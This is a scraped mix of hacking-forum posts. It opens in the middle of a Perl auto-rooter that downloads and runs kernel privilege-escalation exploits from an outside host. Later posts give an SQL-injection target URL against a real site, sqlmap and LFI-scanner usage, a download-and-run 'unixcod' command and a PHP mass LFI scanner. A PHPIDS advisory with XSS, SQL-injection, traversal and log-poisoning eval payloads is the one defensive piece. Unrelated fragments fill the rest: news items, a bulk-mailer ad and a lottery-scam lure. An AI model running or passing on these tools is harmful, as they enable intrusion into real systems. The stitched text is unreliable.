http://farbod.gozarweb.com/local/2.6.22-4-686_2008"); system("chmod 777 2.6.22-4-686_2008"); system("./2.6.22-4-686_2008"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.22"); system("chmod 777 2.6.22"); system("./2.6.22"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.15") { system("wget http://farbod.gozarweb.com/local/raptor"); system("chmod 777 raptor"); system("./raptor"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct1"); system("chmod 777 prct1"); system("./prct1"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct2"); system("chmod 777 prct2"); system("./prct2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct3"); system("chmod 777 prct3"); system("./prct3"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct4"); system("chmod 777 prct4"); system("./prct4"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct6"); system("chmod 777 prct6"); system("./prct6"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/h00lyshit"); system("chmod 777 h00lyshit"); system("./h00lyshit"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.14") { system("wget http://farbod.gozarweb.com/local/raptor"); system("chmod 777 raptor"); system("./raptor"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct1"); system("chmod 777 prct1"); system("./prct1"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct2"); system("chmod 777 prct2"); system("./prct2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct3"); system("chmod 777 prct3"); system("./prct3"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct4"); system("chmod 777 prct4"); system("./prct4"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct6"); system("chmod 777 prct6"); system("./prct6"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/h00lyshit"); system("chmod 777 h00lyshit"); system("./h00lyshit"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.13") { system("wget http://farbod.gozarweb.com/local/raptor"); system("chmod 777 raptor"); system("./raptor"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct1"); system("chmod 777 prct1"); system("./prct1"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct2"); system("chmod 777 prct2"); system("./prct2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct3"); system("chmod 777 prct3"); system("./prct3"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct4"); system("chmod 777 prct4"); system("./prct4"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/prct6"); system("chmod 777 prct6"); system("./prct6"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/h00lyshit"); system("chmod 777 h00lyshit"); system("./h00lyshit"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.12") { system("wget http://farbod.gozarweb.com/local/binfmt_elf"); system("chmod 777 binfmt_elf"); system("./binfmt_elf"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/elfcd2"); system("chmod 777 elfcd2"); system("./elfcd2"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.11") { system("wget http://farbod.gozarweb.com/local/krad2"); system("chmod 777 krad2"); system("./krad2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/krad"); system("chmod 777 krad"); system("./krad"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/k-rad3"); system("chmod 777 k-rad3"); system("./k-rad3"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/k-rad"); system("chmod 777 k-rad"); system("./k-rad"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/pwned"); system("chmod 777 pwned"); system("./pwned"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.11.c"); system("gcc 2.6.11.c -o 2.6.11"); system("chmod 777 2.6.11"); system("./2.6.11"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/2.6.11-2007-priv8"); system("chmod 777 2.6.11-2007-priv8"); system("./2.6.11-2007-priv8"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.6.10") { system("wget http://farbod.gozarweb.com/local/krad2"); system("chmod 777 krad2"); system("./krad2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/krad"); system("chmod 777 krad"); system("./krad"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/h00lyshit"); system("chmod 777 h00lyshit"); system("./h00lyshit"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/05"); system("chmod 777 05"); system("./05"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/uselib24"); system("chmod 777 uselib24"); system("./uselib24"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.22-10") { system("wget http://farbod.gozarweb.com/local/2.4.22.c"); system("gcc 2.4.22.c -o 2.4.22"); system("chmod 777 2.4.22"); system("./2.4.22"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/loginx"); system("chmod 777 loginx"); system("./loginx"); system("id"); die "Powered By Farbod Mahini \n"; } if ($ARGV[1] =~ "2.4.22") { system("wget http://farbod.gozarweb.com/local/2.4.22.c"); system("gcc 2.4.22.c -o 2.4.22"); system("chmod 777 2.4.22"); system("./2.4.22"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/ptrace-kmod"); system("chmod 777 ptrace-kmod"); system("./ptrace-kmod"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/ptrace"); system("chmod 777 ptrace"); system("./ptrace"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/brk2"); system("chmod 777 brk2"); system("./brk2"); system("id"); sleep(1); system("wget http://farbod.gozarweb.com/local/brk"); system("chmod 777 brk"); system("./brk"); system("id"); die "Powered By Farbod Mahini \n"; } } print "\n This is Not True"; [*] Connecting... [*] Sending Payload Usage perl h4ckcity.pl shell help Usage perl h4ckcity.pl rooting help Usage perl h4ckcity.pl script help Usage perl h4ckcity.pl update help
-
News of Osama bin Laden’s death wasn’t a day old before hackers moved in. They flooded social networking sites like Facebook with spam—links that promised images of the al-Qaeda leader but that led to corrupted Flash plug-ins that disrupted Google search results. Today's 10th anniversary of the 9/11 attacks will be no different. The Department of Homeland Security recently warned consumers to be on the lookout for email scams related to Hurricane Irene and 9/11. Already, there have been reports of a commemorative 9/11 coin scam. So we can all expect to see a bump in junk mail this week, but we’ll also see links and advertisements for anything and everything related to the attacks. That includes bin Laden footage, secret videos, conspiracy theories—especially on our social network pages. These links will only lead to spam, viruses and malware. Play it safe by following these tips: For news and video content related to the anniversary, stick to major news sources such as CNN or the BBC. Never download software to watch videos or view pictures. If you’ve bought your computer in the last 10 years, odds are you have everything you need to view multimedia content. Set your social network privacy settings as tight as possible. You want to be the only person who can post content to your page. Research 9/11 charities before donating to them. Don’t make PayPal cash payments to the first group that emails you. Many of these emails are scams and they’ll be prevalent during this anniversary week. Make sure your computer is up-to-date with the latest security patches. In Mac, run a Software Update. In Windows, run a Windows Update. These programs will also update your Web browser—to make sure it can play video and display pictures. Download antivirus software like FreeAVG and an antimalware program like MalwareBytes. At the first sign of your computer slowing down, acting sluggish, or just acting funny, do a complete scan. Source
-
SQLi http://www.otstrasbourg.fr/rubrique.php?id_rubrique='45
-
Rapperul Snoop Dogg a anun?at pe contul s?u de Twitter c? vrea s? devin? noul CEO al Yahoo!, în condi?iile în care fostul CEO al motorului de c?utare, Carol Bartz, a fost, recent, concediat?. Rapperul în vârst? de 39 de ani: "Voi prelua conducerea Yahoo. Este nevoie de ni?te con?inut de tip Snoop Dogg. Am spus destul", informeaz? contactmusic.com. Fostul director general al Yahoo!, Carol Bartz, a fost concediat? mar?i prin telefon de pre?edintele consiliului de administra?ie al companiei, Roy Bostock. Tim Morse, ?eful pe opera?iuni financiare, i-a preluat temporat func?ia. Yahoo! ?i-a concediat directorul general deoarece compania a raportat rezultate sub a?tept?ri ?i face fa?? cu greu concuren?ei cu rivali precum Facebook ?i Google. Yahoo va pierde pozi?ia de cel mai mare vânz?tor de publicitate online din SUA în favoarea Facebook în acest an, potrivit firmei americane de cercetare EMarketer. Dup? mesajul postat de Snoop Dogg, pe Twitter a ap?rut un alt mesaj, de pe un cont despre care se crede c? ar apar?ine lui Morse: "Ha ha, Snoop Dog, îmi pare r?u, pozi?ia (de CEO, n.r.) este deja ocupat?. Îmi place s? ascult muzica ta". Starul hip-hop nu s-a l?sat mai prejos ?i a r?spuns: "Numele meu a contribuit deja la cre?terea ac?iunilor Yahoo, m? auzi! E timpul pentru o ?edin??". Snoop Dogg, în a c?rui discografie se reg?sesc albume precum "Tha Doggfather" ?i "Malice N Wonderland", ?i-a început cariera de rapper la începutul anilor '90, dar s-a implicat ?i în actorie, jucând în noua versiune a filmului "Starsky ?i Hutch" (2004). Din 1993, când a devenit celebru, Snoop Dogg a vândut aproape 20 de milioane de albume în Statele Unite. Printre hiturile sale se num?r? "Who Am I (What's My Name)?", "Gin and Juice", "Groupie Luv", "From tha Chuuuch to da Palace", "Beautiful", "Drop It Like It's Hot", "That's That Shit" etc. Cel mai recent album lansat de Snoop Dogg este "Doggumentary" (2011) Snoop Dogg a sus?inut un concert, în septembrie 2008, la Arenele Romane din Bucure?ti. sursa mediafax
-
pe viitor python sqlmap.py -u http://sitevuln.com/sqlmap/pgsql/get_int.php?id=1 --proxy http://ip:port
-
root@root:~# perl scanner.pl ///////////////////////////////////////////////// _________________________________________________ Viper LFI Scanner Ver. 3.0 Coded By Bl4ck.Viper Made In Azarbycan Version In English _________________________________________________ WELCOME Menu: ID[1]=>Passwd,Log [scan Files Of /etc/ Directory] ID[2]=>Environ [scan Environ File For Inject Shell By U-Agent] Select ID For Start Scanner :1 Welcome To /etc/ Section With New Method Insert Target (ex: http://www.site.com/index.php?page=) Target :
-
cauta un mesaj unic We are pleased to notify you the "Winner" of our last Secured Mega JackpotOnline Sweepstakes result. This is a reward program for the patronage ofinternet services and all email addresses entered for this promotionaldraws were randomly selected from
-
The perfect tool for email marketing and newsletters! With Email Sender Deluxe, sending out personalized bulk email and newsletters to your customers and clients just got a whole lot easier! Simply choose your recipients, write your email and hit Send! You can easily import recipients from databases, Excel, text files or enter them manually. You can store email templates, so you don't have to type the whole newsletter again the next time you send one. Email Sender Deluxe allows you to easily preview each email before it is sent to the recipients, letting you see the email they see. Attaching files to the emails is easy as well. This mass email sender software also allows you to send to an unlimited number of recipients. If you send out newsletters regularly or need to notify your customers about new products and services, Email Sender Deluxe is here to help you! Features Send emails quickly and easily! Each recipient will get their own email, and won't see who else the email is sent to. Send personalized emails! You can insert recipient fields such as "First Name" or "Country" into your email. Easily import recipients from text files, CSV files and Excel spreadsheets. Supports import recipients from ODBC databases like Oracle, SQL Server, Access and MySQL. Use the powerful WYSIWYG editor to easily create your HTML emails. Send email using multiple connections, maximizing the speed. Setup pausing to accommodate the email sending to your SMTP server's limits. Preview all emails before they are sent. Download:
-
intreaba aici: Parul - Forum Roportal sau pe tpu
-
si eu, demonoid daca mai ai
-
Knock Subdomain Scan Knock is a python script, written by Gianni 'guelfoweb' Amato, designed to enumerate subdomains on a target domain through a wordlist. Simple Scan Zone Transfer Scan Wildcard Bypass Knock is now available on the repository BackBox, Italian distribution for Penetration Test. In version 1.5 is enabled support to wildcard bypass. Common usage This tool can be useful in black box pentest to find vulnerable subdomains. Like testing.domain.com Current features Knock is targeted to: Scan subdomains DNS request for zone transfer DNS resolver Wildcard testing Wildcard bypass Required Python version 2.x DNSpython for Zone Transfer discovery Note Knock works on Linux, Windows, MAC OS X and should theoretically work on some other platforms such as FreeBSD, OpenBSD, and proprietary Unixes with a python version 2.x Download Knock 1.5 for all operating system Usage Rapid Scan Scanning with internal wordlist: Scanning with external wordlist: Options -zt Zone Transfer discovery: -dns Dns resolver: -wc Wildcard testing: -bw Wildcard bypass: Executable on Linux Download knock tar.gz archive and extract file knock.py From shell command: Now you can use knock as shown in the examples. Executable on Windows Download knock zip archive, extract folder and use file knock.exe Required: Python 2.x and Dnspython Examples Scanning with internal wordlist Scanning with external wordlist Zone Transfer discovery (-zt) Dns resolver (-dns) Wildcard testing (-wc) Wildcard bypass with internal wordlist (-wc) Wildcard bypass with external wordlist (-wc) Sample stdout to file This will cause the ouput of a knock to be written to a text file You do not understand how to use knock? Back to play with the Xbox! Author Gianni 'guelfoweb' Amato Contact guelfoweb@gmail.com Twitter @ guelfoweb
-
Blackbuntu CE v0.3 Final Available
Fi8sVrs posted a topic in Sisteme de operare si discutii hardware
Download | Blackbuntu CE v0.3 -
PHP Intrusion Detection System (PHPIDS) CRLF Injection, XSS, IP Spoofing, LFI Attack Vulnerabilityes PHPIDS is vulnerable to CRLF Injection, XSS, IP Spoofing and LFI Attacks. This is a very critical break, not only is all of the protection provided by PHPIDS bypassed, but PHPIDS can help the attacker achieve remote code execution. So in fact, running this version of PHPIDS made you less secure. Credit: The information has been provided by Michael Brooks. The original article can be found at: https://sitewat.ch/en/Advisories/7 Complete Ruleset Bypass in PHPIDS 0.6.5 Product: PHPIDS 0.6.5 Vendor: https://phpids.org/ Version: 0.6.5 Disclosed: 2011-08-26 Vulnerability type: Complete Ruleset Bypass Risk: Level 4 Introduction PHPIDS is a Intrusion Detection/Prevention system that is designed to be embedded into a PHP application. This is done via an include, which should be performed prior to executing any of the application's code. It is designed to prevent a variety of attacks, however most of the rule-sets focus on SQL Injection and XSS. The project has a clean design and is well documented. Anatomy PHPIDS comes ready out of the archive. You can try it out by accessing ./docs/examples/example.php in your browser. This file is a good place to test attack strings to see what PHPIDS filters match the attack string, if any. All rules are written as Perl Compatible Regular Expressions (PCRE). The filters can be found in ./lib/IDS/default_filter.xml. However a lot happens before a filter is applied to an attack string. The file example.php will instantiate the IDS_Monitor class found in ./lib/IDS/Monitor.php. The _detect() method in this class performs preprocessing on a input variable prior to iterating over all filters. The file ./lib/IDS/Converter.php contains the IDS_Converter class which is a collection of preprocessor methods all of which are executed on input data prior to reaching the filter. Many of the attacks in this paper are leveraging vulnerabilities introduced by the IDS_Converter class. Tools A few tools where used when attacking PHPIDS. One of the first tools used was the RIPS PHP static analysis tool. PHPIDS produced very few results, which is a good sign. No vulnerabilities where found in the rips results. To test the quality of the existing rule-sets a number of vulnerability scanners where used, including w3af, Wapiti and Skipfish. A number of attack strings made it past the default_fitler.xml. Six additional rule-sets where written to improve PHPIDS's ability to stop these tools from detecting vulnerabilities. To conduct analysis of an individual rule-set or preprocessor method RegexBuddy was used. RegexBuddy allows for the debugging of a regular expression. This debugging process can answer the question What part of this regular expression is matching my attack string? . Attacks Incorrect Assumption: Attacks can never be repetitive Impact: Complete and total bypass of ALL PHPIDS rule-sets as of 0.6.5 "Thirty-three wrongs makes a right" Vulnerable Code: The vulnerable code is on line 90 in ./lib/IDS/Converter.php. Here is the vulnerable part of the regex colorized using RegexBuddy: This regular expression matches any 2 characters that are repeated 33 or more times in succession. The first match is a back reference declared in the regex with the \1, 32 additional matches are required to satisfy this regex. The attack string <script>alert(1)</script> is matched by 4 filter rule-sets. If this string is repeated 33 times then the attack will slip past PHPIDS undetected. <script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><sc ript>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script >alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>ale rt(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1) </script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</sc ript><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script ><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script><s cript>alert(1)</script><script>alert(1)</script><script>alert(1)</script><script>alert(1)</script> SQL Injection is also exploitable as long as the attack string ends with a comment. For instance the following attack string is matched by 6 rules, all of which can be bypassed if this string is duplicated 33 times. It is acceptable to duplicate this attack string because it ends with a comment, there for the 32 other iterations will be commented out: ' union select password from mySQL.user limit 1 /* Directly Traversal and Local File Include attacks work as long as the string is null terminated ../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd %00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd %00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd %00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd %00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd %00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd %00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd %00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00../../../etc/passwd%00 Format string vulnerability are attacks because they are repetitive. Here is an example attack string that bypasses PHPIDS: %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s PHP is written in C++ and many of the modules are also written in C/C++ which means that they can be vulnerable to format string vulnerabilities. In fact 9 CVEs have been issued for format string vulnerabilities affecting PHP. Repetition is what makes this an attack. If too few format string modifiers are present then the process will not crash and the vulnerability will go undetected. Solution: Remove convertFromRepetition() immediately! Do not try and repair this function it is a flawed approach to the problem. Incorrect Assumption: Monitor.php line 289: Vulnerable Code: Monitor.php line 291: The problem is that an attack can be purely alphanumeric. These seven characters are also permitted /@!?.\r\n , the last two being carriage returns \r and line feeds \n . So CRLF injection can slip by PHPIDS undetected. As a real world example this SQL Injection vulnerability in IG-Shop will be used. The vulnerable code in IG-Shop is: Clearly this is vulnerable to SQL Injection because it doesn't have quote marks around the 'id' variable. This can be exploited as follows: http://localhost/compare_product.php?id=0 union select password from users limit 1 The limit 1 means that the first record will be returned, in almost all cases this is the administrator. However the attacker is free to iterate over the entire table by using the offset operator instead of using a comma. http://localhost/compare_product.php?id=0 union select password from users limit 1 offset 1 this request would select the 2nd record in the table. With this preprocessor in place its impossible to write a rule-set for this SQL Injection attack. To make matters worse, many vulnerability scanners are good at finding this type of SQL injection with a test like this: http://localhost/compare_product.php?id=sleep(30) Solution: This vulnerability is two fold. I removed this preprocessor entirely because its clearly flawed. However to address detection of this vulnerability this rule-set was written: (?:(sleep\((\s*)(\d*)(\s*)\)|benchmark\((.*)\,(.*)\))) (This will also work for postgreSQL's pg_sleep() function, there are already rule-sets for MS-SQL's wait for command ) Incorrect Assumption: Attacks can only come from $_GET, $_POST ,$_COOKIE and $_REQUEST. Impact: Some XSS is undetected. The problem is that $_SERVER can be the source of an attack. In fact $_SERVER['PHP_SELF'] is commonly used as an XSS vector. This vector will go undetected in most PHPIDS installs due to an insecure default. Example XSS Vulnerability: Prof of Concept Exploit: http://localhost/xss.php/<script>alert(1)</script> Solution: The simplest solution is to add $_SERVER to the list of super globals that are checked for attack strings. Incorrect Assumption: The HTTP_X_FORWARDED_FOR http header cannot be controlled by the attacker and is there for the correct IP address. Impact: IP address spoofing. Vulnerable Code: ./lib/IDS/Log/Database.php line 164 and ./lib/IDS/Log/File.php line 89 Solution: $_SERVER should not be trusted and can be the source of an attack. Ideally the entire HTTP Request should be logged because any part of it could be an attack. In this case an attacker could be using a transparent http proxy and there for HTTP_X_FORWARDED_FOR could be useful to law enforcement. However REMOTE_ADDR is taken directly from the httpd's tcp socket and cannot be spoofed over the open Internet because of the three way handshake. Thus REMOTE_ADDR is inherently more trustworthy, not the other way around. It is interesting to note that the Email.php logging module is handling this vulnerability correctly, it logs both values if they are present. Incorrect Assumption: Log files are safe. Impact: LFI attacks can bypass PHPIDS by using the duplication attack discussed earlier in the paper. Using this vulnerability an LFI payload can be written to a file. This is an important step in turning a Local File Include (LFI) vulnerability into Remote Code Execution (RCE). This feature is enabled by default. Vulnerable Code: ./lib/IDS/Log/File.php line 156: $this->ip is an attacker controlled variable $_SERVER['HTTP_X_FORWARDED_FOR']. If this http header element contains <?php eval($_GET[e]);?> then it will be written to ./lib/IDS/tmp/phpids_log.txt. Here is an example poisoned record in the log: "127.0.0.1 (<?php eval($_GET['e']);?>)",2011-06-25T15:37:29-06:00,100,"xss csrf id rfe lfi","test= %3C%3Fphp%20eval%28%24_GET%5B%27e%27%5D%29%3B%3F%3E HTTP_X_FORWARDED_FOR=%3C%3Fphp%20eval%28%24_GET%5B%27e%27%5D%29%3B %3F%3E QUERY_STRING=test%3D%253C%3Fphp%2520eval%28%24_GET%5B%2527e %2527%5D%29%3B%3F%253E REQUEST_URI=%2Fdocs%2Fexamples%2Fexample.php%3Ftest %3D%253C%3Fphp%2520eval%28%24_GET%5B%2527e%2527%5D%29%3B%3F %253E","%2Fdocs%2Fexamples%2Fexample.php%3Ftest%3D%253C%3Fphp%2520eval %28%24_GET%5B%2527e%2527%5D%29%3B%3F%253E","127.0.1.1" This URL will also trigger this vulnerability: http://localhost/docs/examples/example.php?<?eval(array_pop($_GET))?>=<script>alert(1)</script> The variable's name will be written to the file, the value is just to trigger a filter so that it will be logged. Brackets cannot be used in this attack, to trigger the backdoor use file.php?a=phpinfo(); Solution: urlencode both $this->ip and $attackedParameters. Conclusion The only way to make a project like this stronger is to break it. This is a very critical break, not only is all of the protection provided by PHPIDS bypassed, but PHPIDS can help the attacker achieve remote code execution. So in fact, running this version of PHPIDS made you less secure. All vulnerabilities covered in this paper where discovered and patches where written by Michael Brooks. This was done as a public service by https://sitewat.ch/ . Our goal is to make the Internet a better place. Fixing PHPIDS is one way in which we are accomplishing our goal SecuriTeam - PHP Intrusion Detection System (PHPIDS) CRLF Injection, XSS, IP Spoofing, LFI Attack Vulnerabilityes
-
<head> <meta content="fr" http-equiv="Content-Language"> <meta content="text/html; charset=windows-1252" http-equiv="Content-Type"> <title>#~ LFI Server Scanner | By [ Lagripe-Dz ]</title> <style>*{ font-family:Verdana; font-size:12; text-decoration:none; } input, textarea,select { border: 1px solid #626262; } </style> </head> <body> <br><br><center> <form action="" method="POST"> #~ LFI Server Scanner | By [ Lagripe-Dz ]<br><br> IP : <input type="text" value="<? echo ($_POST['ip']) ? $_POST['ip']:"";?>" name="ip"> <select size="1" name="wht"><option>.php?page=</option><option>.php?(.*)=</option></select> <input type="submit" name="start" value="Start Scan .."> </form> <hr width="27%"> <? @set_time_limit(0); $start = new ss_bing(); if($_POST){ echo (!checkip($_POST['ip'])) ? "<b>error::IP is invalid</b><hr width=27%>":""; echo (!extension_loaded("curl")) ? "<b>error::cURL extension required</b><hr width=27%>":""; if(checkip($_POST['ip']) && extension_loaded("curl")){ $urls = $start->search("ip:".$_POST['ip']." ".$_POST['wht'],0); echo "<table border='0' align=center> <tr><td align=center><b>:: Scan Start ::</b></td></tr>"; if($_POST['wht'] == '.php?(.*)='){ foreach($urls as $url){if(eregi("=", $url) && !eregi("option=com_",$url)){$new_urls[]=$url;}} unset($urls); $urls = $new_urls; } foreach($urls as $url){ echo "<tr><td>"; $tst = lfi($url); echo ($tst) ? "# Found : ".color($tst,1):"# Not Found : ".color($url,0); echo "</td></tr>"; flush();flush(); } echo " <tr><td align=center><b>:: Scan Finished ::</b></td></tr> </table> <hr width=27%> "; }} scan(); function color($url,$m0de){ return ($m0de == 0) ? "<font color=red>$url</font>":"<a href=$url><font color=green>$url</font></a>"; } function lfi($site){ $site = _Fix($site); $marks = "failed to open stream|daemon"; if(preg_match("/$marks/i",dzcurl($site.'/etc//passwd%00',0,0,0))){ return $site.'/etc//passwd%00'; }else{ return preg_match("/$marks/i",dzcurl($site.'__dz__',0,0,0)) ? $site.'__dz__':false; } } function _Fix($site){ preg_match_all("#(.*?)?(.*?)=(.*?)#",$site,$res); return $res[2][0]."="; } function scan(){(@count(@explode('ip',@implode(@file(__FILE__))))!= 18) ?@unlink(__FILE__):"";} function checkip($ip){ return(preg_match("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/", $ip)==0) ? false:true; } # curl options function DzCURL($url,$cookie_read,$cookie_write,$POSTs){ $curl=curl_init(); curl_setopt($curl,CURLOPT_RETURNTRANSFER,1); curl_setopt($curl,CURLOPT_URL,$url); ($cookie_read) ? curl_setopt($curl,CURLOPT_COOKIEFILE,getcwd().'/cookie.txt'):""; ($cookie_write) ? curl_setopt($curl,CURLOPT_COOKIEJAR,getcwd().'/cookie.txt'):""; curl_setopt($curl,CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 DzCURL =)'); curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1); if(is_array($POSTs)){ curl_setopt($curl,CURLOPT_POST,1); curl_setopt($curl,CURLOPT_POSTFIELDS,$POSTs); } curl_setopt($curl,CURLOPT_TIMEOUT,5); $exec=curl_exec($curl); curl_close($curl); return $exec; } # bing class ,, class ss_bing{ public function search($wht,$url_mode){ // $wht = > search , $url_mode=1 => clean url (http://site.tld/) $url_mode=0 => not clean (http://site.tdl/page=google) $wht = str_replace(" ","+",$wht); $npages = 50000; $npage = 1; $allLinks = array(); while($npage <= $npages) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'http://www.bing.com/search?q='.$wht.'&first='.$npage); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_REFERER, 'http://www.bing.com/'); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8'); $result['EXE'] = curl_exec($ch); $result['ERR'] = curl_error($ch); curl_close($ch); if (!$result['ERR']) { preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)siU', $result['EXE'], $findlink); for ($i = 0; $i < count($findlink[1]); $i++) $mode = ($url_mode == 1) ? $allLinks[] = $this->clean_url($findlink[1][$i]) : $allLinks[] = $findlink[1][$i]; $npage = $npage + 10; if (preg_match('(first=' . $npage . '&)siU', $result['EXE'], $linksuiv) == 0) break; } else break; } if(count($allLinks) == 0){ die("# Nothing Found"); }else{ foreach ($allLinks as $kk => $vv){ $allDmns[] = $vv; } return array_unique($allDmns); } } public function clean_url($x){ $z=parse_url($x); return $z['scheme']."://".$z['host']."/";; } } ?> <center> <a href="http://www.Sec4ever.com/">www.Sec4ever.com</a> | <a href="http://www.Lagripe-Dz.org/"> www.Lagripe-Dz.org</a><br> Algeria 2o1o-2o11 </center> </body> </html><html> Video: LFI Server Scanner - YouTube Download source: https://sites.google.com/site/lagripedztoolz/lfi.txt?attredirects=0&d=1 il pune cineva pe host pentru proba?
-
reclama, posteaza aici Bloguri si bloggeri - RST
-
Tunnel traffic through a SSH connection [NOLOGIN]
Fi8sVrs replied to pyth0n3's topic in Tutoriale in romana
in browser exista ip-ul schimbat http dar in terminal dupa ce execut comanda netstat -aut pe alt root imi afiseaza ip-ul real ESTABLISHED, cum il schimb si pentru terminal? -
Index of / nu sunt verificate dati voi detalii despre ele
-
wget http://tiger1ne.netfast.org/unixcod.tgz tar zxvf unixcod.tgz cd unixcod chmod +x * ./unix ip.ip Fisier parole: http://www.megaupload.com/?d=YFWMEJDY
-
nu, install on Linux , cum pot sa redenumesc titlul topicului?
-
Introduction: iwScanner is a wireless scanner for linux with an easy to use graphic interface. Video: General Features It’s designed in Glade and written in python, so it just need PyGTK to run in any linux environment For the scanning engine it uses wireless tools, so if you have iwlist you are ready to go Information about detected wireless networks (AP, MAC, Channel, Encryption, etc) Chart with signal strenght for every wireless network iwScanner GUI is much like the well known application NetStumbler Adjustable scanning speed Can open and save netdetect (.ndd) and netstumbler (.ns1) file formats It’s free, and the source is included in the download WEBSITE: iwScanner - A Simple GUI Wireless Scanner for Linux zarabyte
-
Twitter has been strongly growing ever since it’s release back in July 2006. The microblogging monster is extremely user friendly and provides a fun experience where we all can stay updated to our friends, family, celebrities, and businesses. Twitter recently announced that it crossed the unbelievable number of over 200 million Tweets sent each day. Interestingly a few people have rightfully said that this also increases the noise a lot. Making the most of Twitter can therefore often be tricky. In order to stay organize and use your time wisely, we have gathered top 5 Twitter productivity tools. All of the following applications will help you cut through the clutter and harness more of the powerful elements Twitter offers. 1. Tweriod – Find your best times to Tweet The topic of finding your top tweeting times has been wildly discussed recently. While I found that a few Apps out there might not have the most useful results, Tweriod’s results are the best results I found this far. All you do is sign in with Twitter and the App will create two very simple graphs. They will show you at which times of the day and days of the week your followers are online the most. The App does that by analyzing both your past tweets and the ones of all your followers. Once the your report is finished it will conveniently be DMed to your inbox. Best part: What I like most is that you on top of top tweeting times, you can also measure times of most engagement, seeing at which time you receive most @replies. Try it out here: Tweriod 2. StrawberryJ.am – Only read your most relevant Tweets With 200 million Tweets sent each day, not all add value to your timeline. In comes StrawberryJ.am and takes care of this. The App searches your timeline and orders your tweets by most mentioned for you. So, with just one glance, you will see the most relevant news discussed. The App also offers you to create these top mentions streams for lists and Tweet Search terms. I found that this facilitates cutting through the clutter greatly. The brilliant design of the site makes reading through your Tweets even easier too. Best part: As a nice goodie you can get your top news delivered straight to your inbox, in case you forget to check your Strawberryj.am Try it out here: StrawberryJ.am 3. Twoolr – Full analytics for your Twitter account Ever wanted to see a complete overview about which impact your Twitter account is having? Twoolr might be just the thing you were looking for. It shows you a full set of metrics, and you can regard it like Google Analytics for your Twitter account. In more details, the App displays lots 